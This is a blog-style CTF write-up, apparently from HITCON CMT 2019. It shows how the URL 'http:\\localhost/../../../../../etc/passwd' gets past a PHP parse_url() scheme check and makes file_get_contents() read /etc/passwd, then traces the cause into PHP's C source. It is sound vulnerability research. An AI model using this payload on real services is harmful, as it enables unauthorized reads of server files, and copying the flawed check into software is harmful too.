Use parse_url($url) to check $url‘s scheme and pass $url to file_get_contents() will lead to LFR issue.

Table of Contents

  1. The story
  2. Interesting about parse_url()
  3. Dig into PHP source code

The story

Below is a snippet modified from DEVCORE Wargame at HITCON CMT 2019:

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<?php
$url = "http://localhost/";
$parsed_url = parse_url($url);
if ($parsed_url['scheme'] === 'http' || $parsed_url['scheme'] === 'https') {
die(file_get_contents($url));
}
?>

In the original challenge, it’s a simple proxy service in blackbox. $url is get from $_POST['url'], only allow HTTP or HTTPS protocal by using parse_url() to check $url.

It’s a classical SSRF challenge until we need to read the local file with only HTTP/HTTPS. The exploit is something like this:

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<?php
$url = "http:\\localhost/../../../../../etc/passwd";
$parsed_url = parse_url($url);
if ($parsed_url['scheme'] === 'http' || $parsed_url['scheme'] === 'https') {
die(file_get_contents($url));
}
?>

Wait, what? http: with double backslashes \\ ? How can this malformed url pass the parse_url() scheme check and lead to local file read problem?

Interesting about parse_url()

Here is a normal url pass to parse_url()

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var_dump(parse_url("http://localhost/../../../../../etc/passwd"));

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array(3) {
["scheme"]=>
string(4) "http"
["host"]=>
string(9) "localhost"
["path"]=>
string(26) "/../../../../../etc/passwd"
}

The scheme, host and path are all parsed correctly. How about malformed url with double backslashes?

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var_dump(parse_url("http:\\localhost/../../../../../etc/passwd"));
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array(2) {
["scheme"]=>
string(4) "http"
["path"]=>
string(36) "\localhost/../../../../../etc/passwd"
}

As you can see, scheme is still parsed as http but no host value parsed, the remaining string are all parsed as path.

Here comes a problem, parse_url() is successed without any error even warning, but apparently the parsed result is not what we expected. So it pass the sheme check and move on to file_get_content() function.

Dig into PHP source code

Out of curiosity, I decided to dig into PHP’s C source code to see how file_get_contents() work with this path http:\\localhost/../../../../../etc/passwd.

My environment is Ubuntu Desktop 18.04 with self-compiled PHP 7.3.8 for gdb debug.

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$ git clone http://git.php.net/repository/php-src.git
$ cd php-src
$ git checkout php-7.3.8
$ ./buildconf

# In order to debug PHP source code
# --enable-debug must toggled
# --prefix modify to your custom install location
$ ./configure --disable-all --enable-debug --prefix=/home/theo/Desktop/php-7.3.8
$ make
$ make install

Test code:

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<?php
$url = "http:\\localhost/../../../../../etc/passwd";
$parsed_url = parse_url($url);
if ($parsed_url['scheme'] === 'http' || $parsed_url['scheme'] === 'https') {
die(file_get_contents($url));
}
?>

The problem is located at Zend/zend_cirtual_ced.c tsrm_realpath_r(). This is a recursive function that traversing the entire path string to see if it’s containing /. or /.. at the end and remove them. For example our malicious path http:\\localhost/../../../../../etc/passwd will expand to /home/theo/Desktop/http:\\localhost/../../../../../etc/passwd according to your php-cli’s current working path before pass into tsrm_realpath_r().

Snippet of tsrm_realpath_r():

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...
if (i == len ||
(i + 1 == len && path[i] == '.')) {
/* remove double slashes and '.' */
len = EXPECTED(i > 0) ? i - 1 : 0;
is_dir = 1;
continue;
} else if (i + 2 == len && path[i] == '.' && path[i+1] == '.') {
/* remove '..' and previous directory */
is_dir = 1;
if (link_is_dir) {
*link_is_dir = 1;
}
if (i <= start + 1) {
return start ? start : len;
}
j = tsrm_realpath_r(path, start, i-1, ll, t, use_realpath, 1, NULL);
...

Because it only look for /. and /.., it will threat http:\\localhost as an unnecessary leading directory as well as Desktop , theo, and so on. Then remove these unnecessary leading directory according to how many /.. we have in path string. In this case we will get /etc/passwd as our final file real path, lead to a Local-File Read vulnerability.